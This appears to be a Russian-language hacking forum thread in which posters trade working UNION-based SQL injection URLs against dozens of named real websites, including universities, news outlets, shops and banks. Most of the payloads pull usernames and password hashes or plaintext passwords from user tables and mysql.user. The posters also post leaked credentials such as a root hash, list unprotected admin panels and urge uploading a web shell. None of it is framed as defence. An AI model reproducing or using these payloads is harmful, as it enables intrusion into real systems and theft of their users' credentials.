SQL Инъекции

после каждого обнавления странички вылазит окошко с предложеим выбрать принтер что бы распечатать. пока столбцы побирал - взбесило =)

 

http://www.aarda.org/research/research_display.php?ID=-1+union+select+1,2,3,concat(username,char(58),pass),5,6,7+from+user+limit+0,1/*

http://www.lautrecampagne.org/article.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,table_name,15,16,17,18,19,20,null,22,23,24+from+INFORMATION_SCHEMA.TABLES+limit+0,1/*

http://eierstock-krebs.de/start.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+sites/*

 

xoops куле

 

Code:

http://articles.org.ru/cfaq/index.php?catid=-1+union+select+convert(user()+using+cp1251),2/*

 

типа платный порно-сайт

bestmove.ru

http://bestmove.ru/phpmyadmin/

 

http://www.phpdoc.org/news.php?id=-1+union+select+1,concat(name,char(58),password),3,4,5+from+users/*

 

Code:

http://www.keckobservatory.org/article.php?id=-99+union+select+1,2,3,4,5,6,7,8+from+mysql.user/*

Дальше сами =)

Code:

 http://www.apahelpcenter.org/featuredtopics/feature.php?id=-6+union+select+password,2,3,user(),5,version(),7+from+users/*

Пароли в чистом виде

 

Code:

http://www.witze-welt.de/videos/showvideo.php?id=-1+union+select+1,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16+from+mysql.user/*

 

ООО КБ "Эргобанк"

 

Пассы в чистом виде)

хе, и логин и пароль admin, правда в админку (http://dety.info/admin) с таким логином и паролем не попадеш.

 

Code:

http://www.krasota.ru/krasota/news/show.htpl?id=-1+union+select+1,2,3,4,5,concat(database(),char(58),user(),char(58),version()),7,8,9,10,11,12,13/*

Code:

http://www.sibinfo.org/forma.php?classid=-1+union+select+concat(database(),char(58),user(),char(58),version())/*

 

259 пользователей, пассы в чистом виде.

 

Code:

http://www.fortress.ru/products.php?id=-1+union+select+1,convert(concat(login,0x3a,password)+using+latin1),3,4,5,6,7,8,9,10+from+users+limit+0,1/*

alvisha:62f31c50cb2d36b5e3a7e06a5d43f48a
798 юзеров

когда нашел админку, подумал... нафиг я все это подбирал)
база юзеров, доступ без авторизации
http://www.fortress.ru/admin/users/index.php
остальное: http://www.fortress.ru/admin/

 

Code:

http://www.zagorod.net/index.php?id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*

Code:

http://art.specialradio.ru/index.php?id=-1+union+select+1,version(),3,4,5,6,7,8/*

 

ну собствено вот....

http://www.pij.org/details.php?id=-820+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/*


http://www.onlinenews.com.pk/details.php?id=-85519+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*

http://www.hpcalc.org/details.php?id=-3644+union+select+1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+users/*

http://www.debate21.com/comic.php?id=-64+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+mysql.user/*

http://physiology.case.edu/faculty.php?id=-91+union+select+1,password,3,4,5,6,7,8,9+from+mysql.user/*

http://dma.ucla.edu/people/faculty.php?ID=-16+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

http://wineserver.ucdavis.edu/people/faculty.php?id=-2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*

http://bme.rutgers.edu/faculty.php?id=-55+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat(login,char(58),password),14,15,16,17,18,19,20+from+users/*

http://www.bard.edu/academics/faculty/faculty.php?action=details&id=-217+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/*

http://las.arts.ubc.ca/las4/faculty.php?facultyid=-115+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13/*

http://www.clark.edu/news_events/faculty_experts/faculty.php?id=-6+union+select+1,2,3,4,5,6,7,8,9,10,11/*

 

Code:

http://www.de-viz.ru/articles_view.php?articles_id=-1+union+select+1,2,3,concat(user,0x3a,password),5,6,7,8,9+from+mysql.user/*

root:67457e226a1a15bd
mysql-hash

next:

Code:

http://www.masterkit.ru/main/set.php?num=-1+union+select+1,2,3,4,5,concat(name,0x3a,pass),7,8,9,10,11,12,13,14+from+user+limit+0,1/*

122 юзера, пассы чистые

эх)

 

Code:

http://www.dukemednews.duke.edu/gallery/detail.php?id=-1+union+select+concat(user,char(58),password),2+from+mysql.user+limit+0,1/*

Code:

http://dewerelddraaitdoor.vara.nl/jakhalzen.php?id=-1+union+select+1,2,3,version(),5,user(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*

Code:

http://avtosalon.in.ua/salon_view.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*

Вот еще несколько)))

 

mpio

Code:

 http://www.mpio.com.ru/goods/product.php?id=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

 

www.tas-combank.com.ua

Code:

http://www.tas-combank.com.ua/index.php?cat=8&news=-1+union+select+1,2,3,4,5,6,7,8,9/*

 

заливай шелл...^^